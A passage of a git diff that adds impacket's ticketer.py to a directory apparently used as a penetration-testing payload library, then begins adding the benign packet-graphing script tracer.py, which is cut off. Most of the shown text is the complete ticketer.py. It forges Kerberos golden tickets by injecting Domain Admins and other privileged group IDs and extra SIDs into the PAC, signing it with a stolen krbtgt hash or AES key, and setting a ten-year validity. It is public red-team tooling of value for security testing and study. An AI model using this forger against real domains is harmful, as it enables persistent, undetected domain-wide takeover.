type=PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + lmhash, nthash, None, + self.__options.dc_ip) + + kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] + + # Let's check we have all the neccesary data based on the ciphers used. Boring checks + ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) + encPartCipher = int(kdcRep['enc-part']['etype']) + + if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ + self.__options.nthash is None: + logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' + 'Can\'t continue ( or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is None: + logging.critical( + 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is not None and len(self.__options.aesKey) > 32: + logging.critical( + 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: + logging.critical( + 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' + 'Can\'t continue (or try running again w/o the -request option)') + return None, None + + if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or + encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ + self.__options.aesKey is not None and len(self.__options.aesKey) < 64: + logging.critical( + 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' + 'Can\'t continue') + return None, None + kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['cname']['name-string'] = None + kdcRep['cname']['name-string'][0] = self.__target + + else: + logging.info('Creating basic skeleton ticket and PAC Infos') + kdcRep = AS_REP() + kdcRep['pvno'] = 5 + kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value + if self.__options.nthash is None: + kdcRep['padata'] = None + kdcRep['padata'][0] = None + kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value + + etype2 = ETYPE_INFO2() + etype2[0] = None + if len(self.__options.aesKey) == 64: + etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + else: + etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) + encodedEtype2 = encoder.encode(etype2) + + kdcRep['padata'][0]['padata-value'] = encodedEtype2 + + kdcRep['crealm'] = self.__domain.upper() + kdcRep['cname'] = None + kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['cname']['name-string'] = None + kdcRep['cname']['name-string'][0] = self.__target + + kdcRep['ticket'] = None + kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value + kdcRep['ticket']['realm'] = self.__domain.upper() + kdcRep['ticket']['sname'] = None + kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + kdcRep['ticket']['sname']['name-string'] = None + kdcRep['ticket']['sname']['name-string'][0] = 'krbtgt' + kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() + + kdcRep['ticket']['enc-part'] = None + kdcRep['ticket']['enc-part']['kvno'] = 2 + kdcRep['enc-part'] = None + if self.__options.nthash is None: + if len(self.__options.aesKey) == 64: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + else: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value + else: + kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value + kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value + + kdcRep['enc-part']['kvno'] = 2 + kdcRep['enc-part']['cipher'] = None + + pacInfos = self.createBasicPac(kdcRep) + + return kdcRep, pacInfos + + def customizeTicket(self, kdcRep, pacInfos): + logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) + encTicketPart = EncTicketPart() + + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.proxiable.value) + flags.append(TicketFlags.renewable.value) + flags.append(TicketFlags.initial.value) + flags.append(TicketFlags.pre_authent.value) + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = None + encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] + + if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) + elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)]) + else: + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) + + encTicketPart['crealm'] = self.__domain.upper() + encTicketPart['cname'] = None + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = None + encTicketPart['cname']['name-string'][0] = self.__target + + encTicketPart['transited'] = None + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['authorization-data'] = None + encTicketPart['authorization-data'][0] = None + encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value + encTicketPart['authorization-data'][0]['ad-data'] = None + + # Let's locate the KERB_VALIDATION_INFO and Checksums + if pacInfos.has_key(PAC_LOGON_INFO): + data = pacInfos[PAC_LOGON_INFO] + validationInfo = VALIDATION_INFO() + validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) + lenVal = len(validationInfo.getData()) + validationInfo.fromStringReferents(data[lenVal:], lenVal) + + aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) + + unixTime = self.getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 + + # Let's adjust username and other data + validationInfo['Data']['LogonDomainName'] = self.__domain.upper() + validationInfo['Data']['EffectiveName'] = self.__target + # Our Golden Well-known groups! :) + groups = self.__options.groups.split(',') + validationInfo['Data']['GroupIds'] = list() + validationInfo['Data']['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + validationInfo['Data']['GroupIds'].append(groupMembership) + + # Let's add the extraSid + if self.__options.extra_sid is not None: + if validationInfo['Data']['SidCount'] == 0: + # Let's be sure user's flag specify we have extra sids. + validationInfo['Data']['UserFlags'] |= 0x20 + validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() + + validationInfo['Data']['SidCount'] += 1 + + sidRecord = KERB_SID_AND_ATTRIBUTES() + + sid = RPC_SID() + sid.fromCanonical(self.__options.extra_sid) + + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + + # And, let's append the magicSid + validationInfo['Data']['ExtraSids'].append(sidRecord) + else: + validationInfo['Data']['ExtraSids'] = NULL + + validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() + pacInfos[PAC_LOGON_INFO] = validationInfoBlob + + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO after making it gold') + validationInfo.dump() + print ('\n') + else: + raise Exception('PAC_LOGON_INFO not found! Aborting') + + logging.info('\tPAC_LOGON_INFO') + + # Let's now clear the checksums + if pacInfos.has_key(PAC_SERVER_CHECKSUM): + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + serverChecksum['Signature'] = '\x00' * 12 + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + serverChecksum['Signature'] = '\x00' * 12 + else: + serverChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() + else: + raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') + + if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM): + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) + privSvrChecksum['Signature'] = '\x00' * 12 + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + privSvrChecksum['Signature'] = '\x00' * 12 + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + privSvrChecksum['Signature'] = '\x00' * 12 + else: + privSvrChecksum['Signature'] = '\x00' * 16 + pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() + else: + raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') + + if pacInfos.has_key(PAC_CLIENT_INFO_TYPE): + pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfo['ClientId'] = unixTime + pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() + else: + raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') + + logging.info('\tPAC_CLIENT_INFO_TYPE') + logging.info('\tEncTicketPart') + + encASRepPart = EncASRepPart() + encASRepPart['key'] = None + encASRepPart['key']['keytype'] = encTicketPart['key']['keytype'] + encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] + encASRepPart['last-req'] = None + encASRepPart['last-req'][0] = None + encASRepPart['last-req'][0]['lr-type'] = 0 + encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) + encASRepPart['nonce'] = 123456789 + encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) + encASRepPart['flags'] = encodeFlags(flags) + encASRepPart['authtime'] = encTicketPart['authtime'] + encASRepPart['endtime'] = encTicketPart['endtime'] + encASRepPart['starttime'] = encTicketPart['starttime'] + encASRepPart['renew-till'] = encTicketPart['renew-till'] + encASRepPart['srealm'] = self.__domain.upper() + encASRepPart['sname'] = None + encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encASRepPart['sname']['name-string'] = None + encASRepPart['sname']['name-string'][0] = 'krbtgt' + encASRepPart['sname']['name-string'][1] = self.__domain.upper() + logging.info('\tEncAsRepPart') + + return encASRepPart, encTicketPart, pacInfos + + def signEncryptTicket(self, kdcRep, encASRepPart, encTicketPart, pacInfos): + logging.info('Signing/Encrypting final ticket') + + # We changed everything we needed to make us special. Now let's repack and calculate checksums + validationInfoBlob = pacInfos[PAC_LOGON_INFO] + validationInfoAlignment = '\x00' * (((len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob)) + + pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment = '\x00' * (((len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob)) + + serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) + serverChecksumBlob = str(pacInfos[PAC_SERVER_CHECKSUM]) + serverChecksumAlignment = '\x00' * (((len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob)) + + privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) + privSvrChecksumBlob = str(pacInfos[PAC_PRIVSVR_CHECKSUM]) + privSvrChecksumAlignment = '\x00' * (((len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob)) + + # The offset are set from the beginning of the PAC_TYPE + # [MS-PAC] 2.4 PAC_INFO_BUFFER + offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4 + + # Let's build the PAC_INFO_BUFFER for each one of the elements + validationInfoIB = PAC_INFO_BUFFER() + validationInfoIB['ulType'] = PAC_LOGON_INFO + validationInfoIB['cbBufferSize'] = len(validationInfoBlob) + validationInfoIB['Offset'] = offsetData + offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8 + + pacClientInfoIB = PAC_INFO_BUFFER() + pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE + pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) + pacClientInfoIB['Offset'] = offsetData + offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8 + + serverChecksumIB = PAC_INFO_BUFFER() + serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM + serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) + serverChecksumIB['Offset'] = offsetData + offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8 + + privSvrChecksumIB = PAC_INFO_BUFFER() + privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM + privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) + privSvrChecksumIB['Offset'] = offsetData + # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 + + # Building the PAC_TYPE as specified in [MS-PAC] + buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( + privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( + pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment + buffersTail = str(serverChecksumBlob) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment + + pacType = PACTYPE() + pacType['cBuffers'] = 4 + pacType['Version'] = 0 + pacType['Buffers'] = buffers + buffersTail + + blobToChecksum = str(pacType) + + checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] + if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) + elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: + keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) + else: + raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) + + checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] + if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: + keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: + keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) + elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: + keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) + else: + raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) + + serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) + logging.info('\tPAC_SERVER_CHECKSUM') + privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) + logging.info('\tPAC_PRIVSVR_CHECKSUM') + + buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment + pacType['Buffers'] = buffers + buffersTail + + authorizationData = AuthorizationData() + authorizationData[0] = None + authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value + authorizationData[0]['ad-data'] = str(pacType) + authorizationData = encoder.encode(authorizationData) + + encTicketPart['authorization-data'][0]['ad-data'] = authorizationData + + if logging.getLogger().level == logging.DEBUG: + logging.debug('Customized EncTicketPart') + print encTicketPart.prettyPrint() + print ('\n') + + encodedEncTicketPart = encoder.encode(encTicketPart) + + cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] + if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: + key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) + elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: + key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) + elif cipher.enctype == EncryptionTypes.rc4_hmac.value: + key = Key(cipher.enctype, unhexlify(self.__options.nthash)) + else: + raise Exception('Unsupported enctype 0x%x' % cipher.enctype) + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes TGS session + # key or application session key), encrypted with the + # service key (Section 5.3) + logging.info('\tEncTicketPart') + cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None) + + kdcRep['ticket']['enc-part']['cipher'] = cipherText + kdcRep['ticket']['enc-part']['kvno'] = 2 + + # Lastly.. we have to encrypt the kdcRep['enc-part'] part + # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) + encodedEncASRepPart = encoder.encode(encASRepPart) + + # Key Usage 3 + # AS-REP encrypted part (includes TGS session key or + # application session key), encrypted with the client key + # (Section 5.4.2) + sessionKey = Key(cipher.enctype, str(encASRepPart['key']['keyvalue'])) + logging.info('\tEncASRepPart') + cipherText = cipher.encrypt(sessionKey, 3, str(encodedEncASRepPart), None) + + kdcRep['enc-part']['cipher'] = cipherText + kdcRep['enc-part']['etype'] = cipher.enctype + kdcRep['enc-part']['kvno'] = 1 + + if logging.getLogger().level == logging.DEBUG: + logging.debug('Final Golden Ticket') + print kdcRep.prettyPrint() + print ('\n') + + return encoder.encode(kdcRep), cipher, sessionKey + + def saveTicket(self, tgt, sessionKey): + logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) + from impacket.krb5.ccache import CCache + ccache = CCache() + ccache.fromTGT(tgt, sessionKey, sessionKey) + ccache.saveFile(self.__target.replace('/','.') + '.ccache') + + def run(self): + ticket, adIfRelevant = self.createBasicTicket() + if ticket is not None: + encASRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) + ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASRepPart, encTicketPart, pacInfos) + self.saveTicket(ticket, sessionKey) + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Creates a Kerberos golden/silver tickets based on " + "user options") + + parser.add_argument('target', action='store', help='username or SPN for the newly created ticket (if \'/\' present ' + 'it is assumed it\'s a SPN and a silver ticket will be created') + parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' + 'changing only the supplied information. It requires specifying -user') + parser.add_argument('-domain', action='store', help='the fully qualified domain name (e.g. contoso.com)') + parser.add_argument('-domain-sid', action='store', help='Domain SID of the target domain the ticker will be ' + 'generated for') + parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' + '(128 or 256 bits)') + parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') + parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' + 'groups user will belong to (default = 513, 512, 520, 518, 519)') + parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' + 'created for (default = 500)') + parser.add_argument('-extra-sid', action="store", help='Optional ExtraSid to be included inside the ticket\'s PAC') + parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' + '(default = 365*10)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' + 'different from domain/username') + group.add_argument('-password', action="store", help='password for domain/username') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + print "\nExamples: " + print "\t./ticketer.py -nthash -domain-sid -domain baduser\n" + print "\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4." + print "\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256" + print "\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as" + print "\tbaduser.ccache.\n" + print "\t./ticketer.py -nthash -aesKey -domain-sid -domain " \ + " -request -user -password baduser\n" + print "\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used" + print "\tas template for customization. Whatever encryption algorithms used on that ticket will be honored," + print "\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'" + print "\tand saved as baduser.ccache" + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.target.find('/') >=0: + logging.critical('Silver tickets not yet supported') + sys.exit(1) + + if options.domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if options.aesKey is None and options.nthash is None: + logging.error('You have to specify either a aesKey or nthash') + sys.exit(1) + + if options.aesKey is not None and options.nthash is not None and options.request is False: + logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') + sys.exit(1) + + if options.request is True and options.user is None: + logging.error('-request parameter needs -user to be specified') + sys.exit(1) + + if options.request is True and options.hashes is None and options.password is None: + from getpass import getpass + password = getpass("Password:") + else: + password = options.password + + try: + executer = TICKETER(options.target, password, options.domain, options) + executer.run() + except Exception, e: + #import traceback + #print traceback.print_exc() + print str(e) \ No newline at end of file diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/tracer.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/tracer.py new file mode 100644 index 0000000..2b01524 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/tracer.py @@ -0,0 +1,414 @@ +#!/usr/bin/env python +# Copyright (c) 2003 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Parallel Coordinates traffic grapher. +# +# This grapher uses the pcap library to listen for packets in transit +# over the specified interface. The returned packages can be filtered +# according to a BPF filter (see tcpdump(3) for further information on +# BPF filters). The packets are displayed on a parallel coordinates +# graph that allows the user to visualize the traffic flow on the +# network in real-time. +# +# The graphing part requires Tk support. Note that the user might need +# special permissions to be able to use pcap. +# +# Authors: +# Gerardo Richarte +# Javier Kohen +# +# Reference for: +# pcapy: findalldevs, open_live. +# ImpactPacket. +# ImpactDecoder. + +## Some tunable variables follow. + +# Period (in ms.) to wait between pcap polls. +POLL_PERIOD = 250 + +# Period (in ms.) to wait between screen refreshes. +REFRESH_PERIOD = 1000 + +# Refresh screen after receiving new packets. +# You might want to turn off fast_draws if it consumes too much CPU, +# for instance, when used under X-Window over a network link. +fast_draws = 1 + +## End of user configurable section. + + +import socket +import sys +import time +import Tkinter +import pcapy +from pcapy import open_live, findalldevs, PcapError + +from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder + + +class NumericAxis: + def __init__(self,canvas,name,low=0,high=0,direction='vertical'): + self.canvas = canvas + self.name = name + self.setLowerLimit(low) + self.setHigherLimit(high) + self.direction = direction + + def screenLength(self): + if self.direction == 'vertical': + return (self.canvas.winfo_height())-10 + else: + return (self.canvas.winfo_width())-10 + + def scaleLength(self): + delta = self.getHigherLimit()-self.getLowerLimit() + if not delta: + delta += 1 + return delta + + def unscale(self,coord): + return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit()) + + def scale(self,value): + return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5 + + def setLowerLimit(self,limit): + if not limit == None: + self._lowerLimit = limit + + def setHigherLimit(self,limit): + if not limit == None: + self._higherLimit = limit + + def getLowerLimit(self): + return self._lowerLimit + + def getHigherLimit(self): + return self._higherLimit + + def addValue(self,value): + if self.getLowerLimit() > value: + self.setLowerLimit(value) + if self.getHigherLimit() < value: + self.setHigherLimit(value) + +class SymbolicAxis(NumericAxis): + def __init__(self,canvas,name,values=[],direction = 'vertical'): + NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction) + self.values = list(values) + + def addValue(self,value,sort = 1): + try: + self.values.index(value) + return + except: + None + self.values.append(value) + if sort: + self.values.sort() + self.setHigherLimit(len(self.getValues())-1) + + def unscale(self,value): + try: + i = NumericAxis.unscale(self, value) + if i < 0: return None + return self.getValues()[i] + except Exception,e: + return None + + def scale(self,value): + try: + return NumericAxis.scale(self,self.getValues().index(value)) + except: + self.addValue(value) + return NumericAxis.scale(self,self.values.index(value)) + + def getValues(self): + return self.values + +class ParallelCoordinates(Tkinter.Canvas): + def __init__(self, master=None, cnf={}, **kw): + apply(Tkinter.Canvas.__init__, (self, master, cnf), kw) + + self.lastSelection = None + self.lastSelectionOval = None + self._onSelection = None + + self.minColor = None + self.maxColor = None + self.colorAxis = '_counter' + + self.values=[] + self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal') + + master.bind('',self.draw) + master.bind('',self.buttonDown) + master.bind('<1>',self.buttonDown) + master.bind('',self.buttonUp) + + def addAxis(self,axis): + self.mainAxis.addValue(axis,0) + + def sameValue(self,a,b): + for axis in self.mainAxis.getValues(): + if not a[axis.name] == b[axis.name]: + return 0 + return 1 + + def addValue(self,value): + for each in self.values: + if self.sameValue(value,each): + each['_counter'] += 1 + each['timestamp'] = value['timestamp'] + value = each + break + else: + value['_counter'] = 1 + for axis in self.mainAxis.getValues(): + axis.addValue(value[axis.name]) + self.values.append(value) + + color = value[self.colorAxis] + if None == self.minColor or self.minColor > color: + self.minColor = color + + if None == self.maxColor or self.maxColor < color: + self.maxColor = color + + def removeValue(self, value): + self.values.remove(value) + + def basicColor(self,val,fade = 1): + # color scale is linear going through green -> yellow -> red + # (lower to higher) + + if val < 0.5: + val += val # val *= 2 (scale from 0 to 1) + # between green - yellow + red = 64*(1-val) + 255*val + green = 200*(1-val) + 255*val + blue = 64*(1-val) + 0 + else: + val -= 0.5 + val += val + red = 255*(1-val) + 255*val + green = 255*(1-val) + 64*val + blue = 0 + 0 + + return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade)) + + def fade(self,value): + return max(0,(120.0-time.time()+value['timestamp'])/120.0) + + def color(self,value,fade = 1): + # color scale is linear going through green -> yellow -> red (lower to higher) + val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1) + return self.basicColor(val,fade) + + def drawValueLine(self,value): + x = -1 + y = -1 + fade = self.fade(value) + if not fade: + self.removeValue(value) + return + + color = self.color(value,fade) + + for axis in self.mainAxis.getValues(): + px = x + py = y + x = self.mainAxis.scale(axis) + y = axis.scale(value[axis.name]) + if not px == -1: + self.create_line(px,py,x,y,fill = color) + + def draw(self,event = None): + # draw axis + for i in self.find_all(): + self.delete(i) + + for axis in self.mainAxis.getValues(): + x = self.mainAxis.scale(axis) + self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white') + + for value in self.values: + self.drawValueLine(value) + +# draw color range +# for i in range(200): +# c = self.basicColor((i+0.0)/200) +# self.create_line(0,i,100,i,fill = c) + + def buttonDown(self,event): + if (event.state & 0x0100) or (event.type == '4'): + axis = self.mainAxis.unscale(event.x) + if not axis: return + element = axis.unscale(event.y) + if not element: return + + x = self.mainAxis.scale(axis) + y = axis.scale(element) + + if self.lastSelectionOval: + self.delete(self.lastSelectionOval) + self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow") + + if not self.lastSelection == (axis,element): + self.lastSelection = (axis,element) + if self._onSelection: + self._onSelection(self.lastSelection) + + + def buttonUp(self,event): + if self.lastSelectionOval: + self.delete(self.lastSelectionOval) + self.lastSelectionOval = None + self.lastSelection = None + if self._onSelection: + self._onSelection(None) + + def onSelection(self,_onSelection): + self._onSelection = _onSelection + + +class Tracer: + def __init__(self, interface = 'eth0', filter = ''): + print "Tracing interface %s with filter `%s'." % (interface, filter) + + self.tk = Tkinter.Tk() + self.pc = ParallelCoordinates(self.tk,background = "black") + self.pc.pack(expand=1, fill="both") + self.status = Tkinter.Label(self.tk) + self.status.pack() + self.tk.tkraise() + self.tk.title('Personal SIDRA (IP-Tracer)') + + self.pc.addAxis(NumericAxis(self.pc, 'proto',256)) + self.pc.addAxis(SymbolicAxis(self.pc,'shost')) + self.pc.addAxis(SymbolicAxis(self.pc,'sport')) + self.pc.addAxis(SymbolicAxis(self.pc,'dport')) + self.pc.addAxis(SymbolicAxis(self.pc,'dhost')) + 